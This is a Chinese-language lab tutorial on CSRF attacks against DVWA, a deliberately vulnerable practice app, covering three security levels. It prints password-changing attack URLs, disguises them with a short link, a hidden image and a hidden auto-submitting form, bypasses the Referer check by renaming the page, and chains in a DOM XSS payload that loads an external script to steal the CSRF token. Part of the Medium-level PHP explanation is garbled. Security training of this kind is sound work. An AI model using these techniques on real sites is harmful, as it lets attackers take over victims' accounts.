CSRF

Low等级

查看源码

DVWA-CSRF全级别教程

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

构造链接

http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang&password_conf=zuowenyang&Change=Change#
当受害者点击了这个链接,他的密码就会被改成zuowenyang
DVWA-CSRF全级别教程

测试

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

使用短链接来隐藏URL

构造短链接

http://suo.im/
http://192.168.0.103/vulnerabilities/csrf/?password_new=zuowenyang2&password_conf=zuowenyang2&Change=Change#

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

新打开一个网址标签,输入短网址http://suo.im/6ahf6H进行攻击
DVWA-CSRF全级别教程
DVWA-CSRF全级别教程

测试

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

构造攻击页面

方法一:图片形式诱导

通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。

DVWA-CSRF全级别教程
DVWA-CSRF全级别教程DVWA-CSRF全级别教程

当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接: 192.168.0.103/test.html
误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为zuowenyang3。
DVWA-CSRF全级别教程
DVWA-CSRF全级别教程

测试
DVWA-CSRF全级别教程DVWA-CSRF全级别教程

方法二:隐藏表单的形式

查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

新打开一个网址标签,输入网址: 192.168.0.103 /dvwa.html,进行攻击

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

测试

DVWA-CSRF全级别教程
DVWA-CSRF全级别教程

Medium等级

查看源码

DVWA-CSRF全级别教程

stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量SERVER1._SERVER中的两个值: 1._SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
2.SERVER[SERVERNAME]PHPHTTPHost使MediumSecurityLevel使stripos()HTTP_SERVER['SERVER_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。 用户正常登录使用修改密码操作时,可以看到:Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是_SERVER[‘HTTP_REFERER’]的值中必须包含$_SERVER[‘SERVER_NAME’],以此来抵御CSRF攻击。

将Low Security Leve构造攻击页面方法1中的攻击页面test.html复制一份,命名为 192.168.0.5.html, 并修改部分代码,后放到phpstudy的www目录中。

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

受害者点击192.168.0.103/192.168.0.103.html
DVWA-CSRF全级别教程DVWA-CSRF全级别教程

测试

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

High等级

查看源码

DVWA-CSRF全级别教程

利用受害者的cookie去修改密码的页面获取关键的token xss.js放置于攻击者的网站上。
DVWA-CSRF全级别教程

DOM XSS 与 CSRF 结合攻击
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用链接来让受害者访问诱导点击后,成功将密码修改为zuowenyang6。

DOM xss测试

用以下链接来让受害者访问:
http://192.168.0.103/vulnerabilities/xss_d/?default=English#

DVWA-CSRF全级别教程DVWA-CSRF全级别教程

CSRF测试

新开一个页面,登陆DVWA,将安全级别设置到:“high”,并选择 CRSF(XSS(DOM)页面不能关闭)
DVWA-CSRF全级别教程

通过XSS(DOM)进行CSRF攻击
在XSS(DOM)界面,进行CSRF攻击测试。

http://192.168.0.103/vulnerabilities/xss_d/?default=English#<script%20src=“http://192.168.0.103/xss.js”>
DVWA-CSRF全级别教程DVWA-CSRF全级别教程DVWA-CSRF全级别教程

DVWA-CSRF全级别教程

测试
DVWA-CSRF全级别教程
DVWA-CSRF全级别教程

相关文章: